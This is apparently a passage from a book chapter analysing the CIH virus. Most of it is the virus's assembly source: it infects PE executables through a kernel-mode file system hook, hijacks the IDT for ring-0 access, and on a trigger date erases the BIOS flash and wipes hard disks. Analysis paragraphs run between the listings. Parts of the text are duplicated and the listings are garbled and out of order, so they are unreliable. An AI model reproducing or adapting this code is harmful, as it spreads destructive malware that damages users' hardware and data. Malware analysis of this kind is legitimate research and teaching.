  push ebx
  call @4 ;
@4:
  pop ebx ; mov ebx, offset FileSystemApiHook
  add ebx, FileSystemApiHook-@4 ;
  push ebx
  int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook

IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
  pop eax
  ; Call original IFSMgr_RemoveFileSystemApiHook
  ; to link client FileSystemApiHook
  push dword ptr [esp+8]
  call OldInstallFileSystemApiHook-@3[ebx]
  pop ecx
  push eax
  ; Call original IFSMgr_RemoveFileSystemApiHook
  ; to link my FileSystemApiHook
  push ebx
  call OldInstallFileSystemApiHook-@3[ebx]
  pop ecx
  mov dr0, eax ; Adjust OldFileSystemApiHook address
  pop eax
  pop ebx
  ret

; ******************************************************
; *            Static Data                              *
; ******************************************************
OldInstallFileSystemApiHook dd ?

; ******************************************************
; *            IFSMgr_FileSystemHook                   *
; ******************************************************

IFSMgr_FileSystemHook entry point *
; ******************************************************
FileSystemApiHook:
  @3 = FileSystemApiHook

pushad
  call @5 ;
@5:

pop   esi     ; mov esi, offset VirusGameDataStartAddress
add   esi, VirusGameDataStartAddress-@5 ; esi = runtime address of
                                        ;   VirusSize

; ***************************************************************
; * Is OnBusy?                                                   *
; ***************************************************************
test  byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )
jnz   pIFSFunc ; goto pIFSFunc

; ***************************************************************
; * Is OpenFile?                                                 *
; ***************************************************************
; if ( NotOpenFile )
goto prevhook
lea   ebx, [esp+20h+04h+04h]
cmp   dword ptr [ebx], 00000024h
jne   prevhook

; ***************************************************************
; * Enable OnBusy                                                *
; ***************************************************************
inc   byte ptr (OnBusy-@6)[esi] ; Enable OnBusy

; ***************************************************************
; * Obtain FilePath's DriveNumber,                              *
; * then set the DriveName to                                    *
; * FileNameBuffer                                               *
; ***************************************************************
; * e.g., if DriveNumber is 03h,                                *
; *     DriveName is 'C:'                                      *
; ***************************************************************
add   esi, FileNameBuffer-@6
push  esi
mov   al, [ebx+04h]
cmp   al, 0ffh
je   CallUniToBCSPath
add   al, 40h
mov   ah, ':'
mov   [esi], eax
inc   esi
inc   esi

; ***************************************************
; * UniToBCSPath                                                 *
; ***************************************************
; * This service converts                                       *
; * a canonicalized Unicode path name                           *
; * to a normal path name in the                                *
; * specified basic character set (BCS)*
CallUniToBCSPath:
push  00000000h
push  FileNameBufferSize
mov   ebx, [ebx+10h]
mov   eax, [ebx+0ch]
add   eax, 04h
push  eax
push  esi
int   20h ; VXDCall UniToBCSPath
UniToBCSPath     = $
dd 00400041h
add   esp, 04h*04h
; **************************************
; * Is FileName '.EXE'?                *
; **************************************
cmp   [esi+eax-04h], 'EXE.'
pop   esi
jne   DisableOnBusy
IF DEBUG
; **************************************
; * Only for Debug                     *
; **************************************
cmp   [esi+eax-06h], 'KCUF'
jne   DisableOnBusy
ENDIF
; **************************************
; * Is existing file open?             *
; **************************************
cmp   word ptr [ebx+18h], 01h
jne   DisableOnBusy
; **************************************
; * Obtain attributes of the file      *
; **************************************
mov   ax, 4300h
int   20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h
jc DisableOnBusy
push ecx
; **************************************
; * Obtain IFSMgr_Ring0_FileIO address *
; **************************************
mov   edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] ; edi = runtime address of IFSMgr_Ring0_FileIO label
mov   edi, [edi] ; edi = IFSMgr_Ring0_FileIO function address in the kernel

; ******************************************************
; * Is read-only file?                                *
; ******************************************************
test cl, 01h
jz OpenFile

; ******************************************************
; * Modify read-only file to write                    *
; ******************************************************
mov   ax, 4301h
xor   ecx, ecx
call  edi ; VXDCall IFSMgr_Ring0_FileIO

; ******************************************************
; * Open file                                         *
; ******************************************************
OpenFile:
xor   eax, eax
mov   ah, 0d5h
xor   ecx, ecx
xor   edx, edx
inc   edx
mov   ebx, edx
inc   ebx
call  edi ; VXDCall IFSMgr_Ring0_FileIO
xchg  ebx, eax ; mov ebx, FileHandle

; ******************************************************
; * Need to restore                                   *
; * attributes of the file?                           *
; ******************************************************
pop   ecx
pushf
test cl, 01h
jz IsOpenFileOK

; ******************************************************
; * Restore attributes of file                        *
; ******************************************************
mov   ax, 4301h
call  edi ; VXDCall IFSMgr_Ring0_FileIO

; ******************************************************
; * Is open file OK?                                  *
; ******************************************************
IsOpenFileOK:
popf
jc DisableOnBusy

; **************************************
; * Open file already succeed    ^__^ *
; ****************************************
push esi ; Push FileNameBuffer address to stack
pushf ; Now CF = 0, push flag to stack
add esi, DataBuffer-@7 ; mov esi, offset DataBuffer

; **************************************
; * Obtain OffsetToNewHeader*
; ************************************************
xor eax, eax
mov ah, 0d6h
; For doing minimal virus code's length,
; I save EAX to EBP
mov ebp, eax
push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO
mov edx, [esi]

; ***************************
; * Obtain 'PE\0' signature *
; * of ImageFileHeader and *
; * infected mark           *
; ***************************
dec edx
mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE?                  *
; * Is the file             *
; * already infected?       *
; ***************************
cmp dword ptr [esi], 00455000h ; Check PE file signature
jne CloseFile

; *************************************************
; * The file is indeed PE *^o^* 
; ****************************************
; * The file also isn't infected *
; ****************************************

; ****************************************
; * Start to infect the file *
; ****************************************

; * Registers use status now: *
; *
; * EAX = 04h *
; * EBX = File handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader pointer's *
; * former byte *
; * ESI = DataBuffer address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO address *
; * EBP = D600h ==> Read data in file *
; ****************************************

; * Stack Dump: *
; *
; ESP => -------------------------  *
; |       EFLAG(CF=0)     |  *
; -------------------------  *
; | FileNameBufferPointer |  *
; -------------------------  *
; |          EDI          |  *
; -------------------------  *
; |          ESI          |  *
; -------------------------  *
; |          EBP          |  *
; -------------------------  *
; |          ESP          |  *
; -------------------------  *
; |          EBX          |  *
; -------------------------  *
; |          EDX          |  *
; -------------------------  *
; |          ECX          |  *
; -------------------------  *
; |          EAX          |  *
; -------------------------  *
; |     Return Address    |  *
; -------------------------  *

; ****************************************
push ebx  ; Save file handle
push 00h  ; Set VirusCodeSectionTableEndMark

; ****************************************

; * Set the
; * virus's infected mark *
; ***************************
push 01h ; Size
push edx ; Pointer of file
push edi ; Address of buffer

; ***************************
; * Save ESP register *
; ***************************
mov dr1, esp

; ***************************
; * Set the *
; * NewAddressOfEntryPoint *
; * (only first set size) *
; ***************************
push eax ; Size

; ***************************
; * Read image *
; * header in file *
; ***************************
mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Set the *
; * NewAddressOfEntryPoint *
; * (set pointer of file, *
; * address of buffer) *
; ***************************
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of file
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of buffer

; ***************************
; * Move EDX to the start *
; * of SectionTable in file *
; ***************************
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]

; ***************************
; * Find total *
; * size of sections *
; ***************************
mov al, SizeOfSectionTable
; I Assume NumberOfSections <= 0ffh
mov   cl, (NumberOfSections-@8)[esi]
mul   cl

; ****************************
;  * Set section table     *
;  ****************************
; Move ESI to the start of SectionTable
lea   esi, (StartOfSectionTable-@8)[esi]
push  eax  ; Size
push  edx  ; Pointer of file
push  esi  ; Address of buffer

; ****************************
;  * Code size of merged    *
;  * virus code section and *
;  * total size of virus    *
;  * code section table must*
;  * be smaller than or equal*
;  * to unused space size of *
;  * following section table *
;  ****************************
inc   ecx
push  ecx  ; Save NumberOfSections+1
shl   ecx, 03h
push  ecx  ; Save TotalSizeOfVirusCodeSectionTable

add   ecx, eax
add   ecx, edx
sub   ecx, (SizeOfHeaders-@9)[esi]
not   ecx
inc   ecx

; Save my virus first section code
; size of following section table...
push  ecx
xchg  ecx, eax  ; ECX = size of section table
; Save original address of entry point
mov   eax, (AddressOfEntryPoint-@9)[esi]
add   eax, (ImageBase-@9)[esi]
mov   (OriginalAddressOfEntryPoint-@9)[esi], eax
cmp   word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl   OnlySetInfectedMark

; ****************************
;  * Read all section tables *
;  ****************************
mov   eax, ebp
call  edi  ; VXDCall IFSMgr_Ring0_FileIO

; ****************************
;  * Fully modify the bug:   *

* WinZip self-extractor *
* error occurs... *
* ***************************
* So when user opens *
* WinZip self-extractor, *
* virus doesn't infect it *
* ***************************
* Virus obtains the *
* PointerToRawData in the *
* second section table, *
* reads the section data, *
* and tests the string of *
* 'WinZip(R)' *
* ***************************

xchg  eax, ebp
push  00000004h
pop   ecx
push  edx
mov   edx, (SizeOfSectionTable+PointerToRawData-@9)[esi]
add   edx, 12h
call  edi ; VXDCall IFSMgr_Ring0_FileIO
cmp   dword ptr [esi], 'piZniW'
je NotSetInfectedMark
pop   edx

* Set total virus *
* code section table *
* EBX = my virus first section code *
size of following section table
pop   ebx
pop   edi ; EDI = TotalSizeOfVirusCodeSectionTable
pop   ecx ; ECX = NumberOfSections+1
push   edi ; Size
add   edx, ebp
push   edx ; Pointer of file
add   ebp, esi
push   ebp ; Address of buffer

* Set the first virus *
code section size in *
VirusCodeSectionTable *
lea    eax, [ebp+edi-04h]
mov    [eax], ebx

* Set my virus *
* first section code *
; *********************************
push ebx  ; Size
add edx, edi
push edx  ; Pointer of file
lea edi, [MyVirusStart-@9][esi]
push edi  ; Address of buffer

; *********************************
; * Modify the *
; * AddressOfEntryPoint to *
; * my virus entry point *
; *********************************
mov (NewAddressOfEntryPoint-@9)[esi], edx

; *********************************
; * Setup initial data *
; *********************************
lea edx, [esi-SizeOfSectionTable]
mov ebp, offset VirusSize
jmp StartToWriteCodeToSections

; *********************************
; * Write code to sections *
; *********************************
LoopOfWriteCodeToSections:
add edx, SizeOfSectionTable
mov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSections
push ebx  ; Size
sub eax, 08h
mov [eax], ebx
mov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx  ; Pointer of file
push edi  ; Address of buffer
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edi]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebx
mov ebx, [eax]
add (VirtualSize-@9)[edx], ebx

; Section contains initialized data ==> 00000040h
; Section can be read               ==> 40000000h
or (Characteristics-@9)[edx], 40000040h

StartToWriteCodeToSections:
sub ebp, ebx
jbe SetVirusCodeSectionTableEndMark
add edi, ebx  ; Move address of buffer
EndOfWriteCodeToSections:
    loop LoopOfWriteCodeToSections

; ***************************
; * Only set infected mark *
; ***************************
OnlySetInfectedMark:
    mov esp, dr1
    jmp WriteVirusCodeToFile

; ***************************
; * Not set infected mark *
; ***************************
NotSetInfectedMark:
    add esp, 3ch
    jmp CloseFile

; ***************************
; * Set virus code *
; * section table end mark *
; ***************************
SetVirusCodeSectionTableEndMark:
    ; Adjust size of virus section code to correct value
    add [eax], ebp
    add [esp+08h], ebp

    ; Set end mark
    xor ebx, ebx
    mov [eax-04h], ebx

; ***************************
; * When VirusGame calls *
; * VxDCall, VMM modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]' *
; ***************************
; * Before writing my virus *
; * to files, I must *
; * restore VxD function *
; * pointers ^__^ *
; ***************************
    lea eax, (LastVxDCallAddress-2-@9)[esi]
    mov cl, VxDCallTableSize

LoopOfRestoreVxDCallID:
    mov word ptr [eax], 20cdh
    mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
    mov [eax+2], edx
    movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
sub eax, edx
loop LoopOfRestoreVxDCallID

; *******************************************************
; * Write virus code
; * to the file
; *******************************************************
WriteVirusCodeToFile:
    mov eax, dr1
    mov ebx, [eax+10h]
    mov edi, [eax]

LoopOfWriteVirusCodeToFile:
    pop ecx
    jecxz SetFileModificationMark
    mov esi, ecx
    mov eax, 0d601h
    pop edx
    pop ecx
    call edi ; VXDCall IFSMgr_Ring0_FileIO
    jmp LoopOfWriteVirusCodeToFile

; *******************************************************
; * Set CF = 1 ==> need to restore file modification time
; *******************************************************
SetFileModificationMark:
    pop ebx
    pop eax
    stc ; Enable CF(carry flag)
pushf

; *******************************************************
; * Close file
; *******************************************************
CloseFile:
    xor eax, eax
    mov ah, 0d7h
    call edi ; VXDCall IFSMgr_Ring0_FileIO

; *******************************************************
; * Need to restore file modification time
; *******************************************************
popf
    pop esi
    jnc IsKillComputer

; *******************************************************
; * Restore file modification time
; *******************************************************
mov   ebx, edi
mov   ax, 4303h
mov   ecx, (FileModificationTime-@7)[esi]
mov   edi, (FileModificationTime+2-@7)[esi]
call  ebx  ; VXDCall IFSMgr_Ring0_FileIO

; ****************************************************************************
; * Disable OnBusy
; ****************************************************************************
DisableOnBusy:
    dec  byte ptr (OnBusy-@7)[esi]     ; Disable OnBusy

; ****************************************************************************
; * Call previous FileSystemApiHook  *
; ****************************************************************************
prevhook:
    popad
    mov   eax, dr0 ;
jmp  [eax]    ; Jump to prevhook

; ****************************************************************************
; * Call the function that the IFS  *
; * manager would normally call to  *
; * implement this particular I/O   *
; * request  *
; ****************************************************************************
pIFSFunc:
    mov   ebx, esp
    push  dword ptr [ebx+20h+04h+14h]  ; Push pioreq
    call  [ebx+20h+04h]                ; Call pIFSFunc
    pop   ecx                          ;
    mov   [ebx+1ch], eax               ; Modify EAX value in stack

; ****************************************************************************
; * After calling pIFSFunc, *
; * get some data from the     *
; * returned pioreq            *
; ****************************************************************************
cmp   dword ptr [ebx+20h+04h+04h], 00000024h
    jne   QuitMyVirusFileSystemHook

; ****************************************************************************
; * Get the file  *
; * modification  *
; * date and time  *
; * in DOS format  *
; ****************************************************************************
mov   eax, [ecx+28h]
mov   (FileModificationTime-@6)[esi], eax
QuitMyVirusFileSystemHook:
  popad
  ret

IsKillComputer:
  ; Obtain today's date from BIOS CMOS
  mov al, 07h
  out 70h, al
  in al, 71h
  xor al, 01h ; ??/26/???? - weird; it should be "xor al, 26h"

IF DEBUG
  jmp DisableOnBusy
ELSE
  jnz DisableOnBusy
ENDIF

mov bp, 0cf8h ; bp = PCI config address port
lea esi, IOForEEPROM-@7[esi] ; esi = runtime address of IOForEEPROM

mov edi, 8000384ch ; edi = PCI bus 0, device 7, offset 4Ch
mov dx, 0cfeh ; Access offsets 4Eh-4Fh of the southbridge
               ; Note: Southbridge must be Intel PIIX4
cli
  call esi ; Call IOForEEPROM -> enable access to BIOS chip

mov di, 0058h ; Register 59h in Intel 430TX, 440BX northbridge ->
               ; memory-mapping register for BIOS address ranges
  dec edx ; Point to register 59h
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h ; Patch the
               ; opcode at BooleanCalculateCode label "and al,
; 0fh"; i.e., direct R/W operation to BIOS chip
; by PCI bus

call esi        ; Call IOForEEPROM

; **********************
; * Show the BIOS extra *
; * ROM data in memory *
; * 000E0000-000E01FF *
; * (512 bytes), *
; * and the section *
; * of extra BIOS can *
; * be written...
; **********************
lea   ebx, EnableEEPROMToWrite-@10[esi]
mov   eax, 0e5555h
mov   ecx, 0e2aaah
call ebx ; Call EnableEEPROMToWrite
mov   byte ptr [eax], 60h ; This is weird, it should be
                        ; "mov byte ptr [eax], 20h" to enable writing to BIOS;
                        ; "mov byte ptr [eax], 60h" is product ID command
push  ecx
loop  $    ; Delay to wait for BIOS chip cycles

; **********************
; * Kill the BIOS extra *
; * ROM data in memory *
; * 000E0000-000E007F *
; * (80h bytes) *
; **********************
xor   ah, ah
mov   [eax], al ; Write 55h to address e0055h

xchg  ecx, eax
loop  $    ; Delay to wait for BIOS chip cycles

; **********************
; * Show and enable the *
; * BIOS main ROM data *
; * 000E0000-000FFFFF *
; * (128 KB) *
; * can be written...
; **********************
mov   eax, 0f5555h
pop   ecx
mov   ch, 0aah
call ebx ; Call EnableEEPROMToWrite
mov   byte ptr [eax], 20h ; Enable writing to BIOS chip

loop  $    ; Delay to wait for BIOS chip cycles

; **********************
; * Kill the BIOS main *
; * ROM data in memory *
; * 000FE000-000FE07F *
; * (80h bytes) *
; ***********************
mov ah, 0e0h
mov [eax], al ; Write 55h to address fe055h
; ***********************
; * Hide BIOS page in *
; * 000F0000-000FFFFF *
; * (64 KB) *
; ***********************
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch ; Patch the 
; opcode at BooleanCalculateCode label to "or al,10h"; 
; i.e., direct read operation to shadow DRAM and 
; direct write operation to BIOS chip by PCI bus

call esi ; Call IOForEEPROM
; Note: edi and ebp registers preserved from previous call
; ***********************
; * Kill all HardDisk *
; ***************************************************
; * IOR structure of IOS_SendCommand needs *
; ***************************************************
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 7F *
dd 00100004h ; VXDCALL IOS_SendCommand
cmp word ptr [esi+06h], 0017h
je KillNextDataSection

ChangeNextHardDisk:
inc byte ptr [esi+4dh]
jmp LoopOfKillHardDisk

KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
jmp LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to write *
; ***************************
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al
ret

; ***************************
; * I/O for EEPROM           *
; ***************************
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h ; Enable access to EEPROM for PIIX
; In second pass, this opcode is modified to "and al, 0fh"
; In third pass, this opcode is modified to "or al, 10h"
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
out dx, al
ret

; ******************************************************
; *                     Static Data                       *
; ******************************************************
LastVxDCallAddress  =  IFSMgr_Ring0_FileIO
VxDCallAddressTable  db  00h
  db  IFSMgr_RemoveFileSystemApiHook-_PageAllocate
  db  UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
  db  IFSMgr_Ring0_FileIO-UniToBCSPath
VxDCallIDTable  dd  00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize  =  ($-VxDCallIDTable)/04h

; *********************************************************
; *                Virus Version Copyright                *
; *********************************************************
VirusVersionCopyright  db  'WinCIH ver 1.5 by TATUNG, Thailand'

; *********************************************************
; *                     Virus Size                        *
; *********************************************************
VirusSize      =  $

; *********************************************************
; *                     Dynamic Data                      *
; *********************************************************
VirusGameDataStartAddress  =  VirusSize
@6      =  VirusGameDataStartAddress
OnBusy         db  0
FileModificationTime    dd  ?

FileNameBuffer  db  FileNameBufferSize dup(?)
@7      =  FileNameBuffer

DataBuffer     =  $
@8      =  DataBuffer
NumberOfSections        dw  ?
TimeDateStamp           dd  ?
SymbolsPointer          dd  ?
NumberOfSymbols         dd  ?
SizeOfOptionalHeader    dw  ?
_Characteristics        dw  ?
Magic                   dw  ?
LinkerVersion           dw  ?
SizeOfCode              dd  ?
SizeOfInitializedData   dd  ?
SizeOfUninitializedData dd  ?
AddressOfEntryPoint     dd  ?
BaseOfCode              dd  ?
BaseOfData              dd  ?
ImageBase               dd  ?
@9      =  $
SectionAlignment        dd  ?
FileAlignment           dd  ?
OperatingSystemVersion  dd  ?
ImageVersion            dd  ?
Now examine code related to the destruction of the BIOS contents in listing 12.1. Start with the entry point of the virus code. In an infected executable file, the entry point of the executable is diverted to the virus entry point, i.e., the MyVirusStart label in listing 12.1. The original entry point is executed after the virus code executes. Thus, you start the analysis from this label. According to figure 12.1, in the first component in the virus segment it is routine to modify the IDT. I show you how it's implemented in listing 12.3. But before going to the IDT modification routine, I would like to note a trick used by the CIH author to calculate the runtime address of labels within the virus code. A sample of this trick is shown in listing 12.2.

**Listing 12.2 Runtime Address Calculation Routine**

```assembly
MyVirusStart:
    push   ebp

; *********************************************************
; *             Virus Total Need Memory                   *
; *********************************************************
VirusNeedBaseMemory   = $
VirusTotalNeedMemory  = @9

; *********************************************************
VirusGame   ENDS
```

Now examine code related to the destruction of the BIOS contents in listing 12.1. Start with the entry point of the virus code. In an infected executable file, the entry point of the executable is diverted to the virus entry point, i.e., the MyVirusStart label in listing 12.1. The original entry point is executed after the virus code executes. Thus, you start the analysis from this label. According to figure 12.1, in the first component in the virus segment it is routine to modify the IDT. I show you how it's implemented in listing 12.3. But before going to the IDT modification routine, I would like to note a trick used by the CIH author to calculate the runtime address of labels within the virus code. A sample of this trick is shown in listing 12.2.

**Listing 12.2 Runtime Address Calculation Routine**

```assembly
MyVirusStart:
    push   ebp

; *********************************************************
; *             Virus Total Need Memory                   *
; *********************************************************
VirusNeedBaseMemory   = $
VirusTotalNeedMemory  = @9

; *********************************************************
VirusGame   ENDS
```
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0 ; "Relative" (calculated from the end of this opcode) call to @0 routine
@0:
    pop ebx ; ebx = return address -> i.e., address right after the calling opcode at runtime
    lea ecx, StopToRunVirusCode-@0[ebx] ; ecx = StopToRunVirusCode - @0 + ebx
    ; i.e., ecx = runtime address of StopToRunVirusCode label
    push ecx ; Save runtime address of StopToRunVirusCode label to stack
    push eax ; Save fs:[0] to stack
    ...

As you can see, the runtime address of the StopToRunVirus label is calculated as follows: first, the runtime address of the @0 label is popped into ebx. The call @0 instruction saves this address to stack. Then, the distance from the StopToRunVirus label to the @0 label is added to the runtime address of the @0 label and stored in the ecx register. This operation is carried out in the following line:

    lea ecx, StopToRunVirusCode-@0[ebx]

Now, look into the IDT modification routine. It's shown in listing 12.3.

Listing 12.3 IDT Modification Routine

    ...
    ; ******************************************************
    ; * Modify the IDT *
    ; * to obtain Ring0 privilege... *
    ; ******************************************************
    push eax ; Put "dummy" placeholder for IDT base address into stack
    sidt [esp-02h] ; Obtain IDT base address, store it in stack (esp-2 = 16-bit IDT limit)
    pop ebx ; ebx = IDT base address (32 bits)
    add ebx, HookExceptionNumber*08h+04h ; ZF = 0;
    ; ebx = pointer to patched IDT entry
    cli ; Disable maskable interrupt; exception is still enabled
    mov ebp, [ebx] ; Save exception-handler base address
    ; (bits 16-31) to ebp
    mov bp, [ebx-04h] ; Save exception-handler base address
    ; (bits 0-15) to ebp
    lea esi, MyExceptionHook-@1[ecx] ; esi = MyExceptionHook -
    ; StopToRunVirusCode + runtime address of StopToRunVirusCode
    ; i.e., esi = runtime address of MyExceptionHook label
    push esi ; Save runtime address of MyExceptionHook label to stack
    mov [ebx-04h], si ; Modify exception-handler entry point address
The IDT modification routine is difficult to understand. Thus, I will draw the contents of the stack to clarify it. First, the routine in listing 12.3 places a dummy 32-bit value to stack. Then, it stores the physical address of the IDT and its limit to stack. Figure 12.2 shows the contents of the stack after the execution of sidt instruction in listing 12.3.

![Contents of the stack](image)

**Figure 12.2 Contents of the stack just before the IDT is modified**

After the sidt instruction, the 32-bit IDT physical address is popped to the ebx register and used as the base address to calculate the IDT entry that's going to be modified. Listing 12.3 shows that the HookExceptionNumber constant is used to refer to the IDT entry that will be modified. If you look at CIH 1.5 source code, you'll notice that the HookExceptionNumber constant will be replaced with 4 or 6 upon assembling. IDT entry number 4 is overflow exception, and entry number 6 is invalid opcode exception. However, the CIH binaries found back then never used one of those numbers. Instead, they used IDT entry number 3—breakpoint exception. Modifying IDT entry number 3 was convenient because it confused debuggers and made the analysis of CIH harder for antivirus researchers in those days. Listing 12.4 shows a snippet from the disassembly of CIH with build number 2690 that uses int 3h(exception number 3) to jump into kernel mode.

**Listing 12.4 CIH Build 2690 Disassembly Using int 3h**

```assembly
HEADER:010002E2 loc_10002E2:
HEADER:010002E2   int   3                   ; Trap to debugger
HEADER:010002E3   jmp   short loc_10002E6
```

Listing 12.3 also shows that the modified IDT entry points to the runtime address of MyExceptionHook. Therefore, when an exception with a number matching the HookExceptionNumber constant is raised, the virus code execution will jump to the MyExceptionHook label. This brings you to the second component of the virus code segment in figure 12.1—the exception handler routine. This routine is marked with the
MyExceptionHook label. Listing 12.5 shows the jump into this exception handler and the contents of the exception handler.

**Listing 12.5 CIH Exception Handler**

```assembly
Listing 12.5 CIH Exception Handler

... int HookExceptionNumber ; Generate exception -> jump to
      ; MyExceptionHook routine -> allocate system memory for this virus
ReturnAddressOfEndException = $

; **********************************************
; * Merge all virus code section             *
; **********************************************
push esi
... ; *************************************************
; * Ring0 Virus Game Initial Program        *
; **********************************************
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook ; First pass, jump _not_ taken
 ; Second pass, jump _is_ taken
; **********************************************
; * Does the virus exist in the system?*
; **********************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage ; First pass, jump is taken because
 ; default value for DR0 on boot is 0
...

; **********************************************
; * Allocate system memory page to use *
; **********************************************
AllocateSystemMemoryPage:
mov dr0, ebx ; Set the mark of My Virus Exists in System
push 00000000fh
push ecx   ; First-pass push 0
push 0fffffffh
push ecx   ; First-pass push 0
push ecx   ; First-pass push 0
push ecx   ; First-pass push 0
push 000000001h
push 000000002h
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $
    dd 00010053h ; Use EAX, ECX, EDX, and flags
    add esp, 08h*04h ; Balance stack pointer
    xchg edl, eax ; EDI = allocated system memory start address
    lea eax, MyVirusStart-@2[esi] ; eax = MyVirusStart - MyExceptionHook
      ; + runtime address of
```
In listing 12.5, when CIH generates the exception by using the `int` instruction, CIH execution jumps into the `MyExceptionHook` label. During this jump, the context of the code execution switches from user mode to kernel mode. Therefore, when CIH execution arrives at the `MyExceptionHook` label, it's in kernel mode, which means CIH has full control of the system. At this point, the zero flag is not set and the debug registers are still in their default values. Thus, CIH code will branch to allocate system memory to be used by the virus. It does so by calling a kernel function named `_PageAllocate`. (Because the CIH code is executing in kernel mode at this point, kernel functions are available to be called directly.) After allocating system memory, CIH execution returns to the code right after the previous `int` instruction (that generates the exception) with an `iretd` instruction, i.e., right after the "merge all virus code section" comment. This also switches CIH execution from kernel mode back to user mode.

The lines of code right after the first exception copy the virus code to the allocated system memory and subsequently set the zero flag. Then, the virus code generates the same exception as before. However, this time the zero flag is set, not like before. Therefore, the virus code execution jumps into the `MyExceptionHook` label and installs the file system hooks. Listing 12.6 shows this process.

### Listing 12.6 CIH Routine to Install File System Hook

```assembly
; **********************************************************
; * Merge all virus code section *
; **********************************************************
push esi
mov esi, eax        ; esi = address of allocated system memory
LoopOfMergeAllVirusCodeSection:
    mov ecx, [eax-04h]  ; ecx = VirusSize -> Hint: Look at the end of OriginalAppEXE
    rep movsb           ; Copy virus code to system memory
    sub eax, 08h
    mov esi, [eax]
    or    esi, esi        ; First pass, esi = 0
    jz    QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
    jmp   LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
```

2 Windows 9x doesn't alter the debug registers values during boot. Therefore, the power-up and reset values are preserved, i.e., 00000000h for DR0–DR3 registers. See [Intel 64 and IA-32 Intel Architecture Software Developer's Manual: Volume 3A](https://software.intel.com/content/www/us/en/develop/docs/64-ia-32-intel-architecture-software-developer-manual/volume-3a.html), Table 9-1, for debug registers power-up and reset values.
pop   esi

; ***********************************************************
; * Generate exception again  *
; ***********************************************************
int    HookExceptionNumber ; Generate exception again -> jump to
; MyExceptionHook routine -> install file system hook

; ***********************************************************
; * Restore structured                                *
; * exception handling                                *
; ***********************************************************
ReadyRestoreSE:
    sti
    xor   ebx, ebx
    jmp   RestoreSE

... RestoreSE:
    pop   dword ptr fs:[ebx]
    pop   eax ; eax = runtime address of FileSystemApiHook label

; ***********************************************************
; * Return original app to execute                    *
; ***********************************************************
    pop   ebp
    push  00401000h ; Push original application entry point to stack
OriginalAddressOfEntryPoint = $-4
    ret ; Return to original application entry point

; ***********************************************************
; * Ring0 Virus Game Initial Program                  *
; ***********************************************************
MyExceptionHook:
    @2 = MyExceptionHook
    jz InstallMyFileSystemApiHook ; First pass, jump is _not_ taken
    ; Second pass, jump _is_ taken
... ExitRing0Init:
    mov   [ebx-04h], bp ;    ; Restore exception
    shr   ebp, 16
    mov   [ebx+02h], bp ;    ; Restore exception
    iretd ; Jump to ReadyRestoreSE label
...
Install my file system API hook

InstallMyFileSystemApiHook:

```
lea   eax, FileSystemApiHook-@6[edi] ; eax = runtime address of
    ; FileSystemApiHook in the allocated system memory pages
push  eax    ;
int   20h    ; VXDCALL IFSMgr_InstallFileSystemApiHook
```

```
IFSMgr_InstallFileSystemApiHook = $
dd 00400067h ; Use EAX, ECX, EDX, and flags
    ; This variable is patched by Windows 9x's VMM to point
    ; to the real IFSMgr_InstallFileSystemApiHook procedure
    ; when int 20h is being processed
mov   dr0, eax  ; Save OldFileSystemApiHook address
pop   eax     ; EAX = FileSystemApiHook runtime address in the
    ; allocated system memory
    ; Save old IFSMgr_InstallFileSystemApiHook entry point
mov   ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] ; ecx = pointer to
    ; entry point of IFSMgr_InstallFileSystemApiHook function
mov   edx, [ecx] ; edx = IFSMgr_InstallFileSystemApiHook function
    ; entry point in the system
mov   OldInstallFileSystemApiHook-@3[eax], edx ; Save address of
    ; old IFSMgr_InstallFileSystemApiHook to allocated
    ; system memory
    ; Modify IFSMgr_InstallFileSystemApiHook entry point
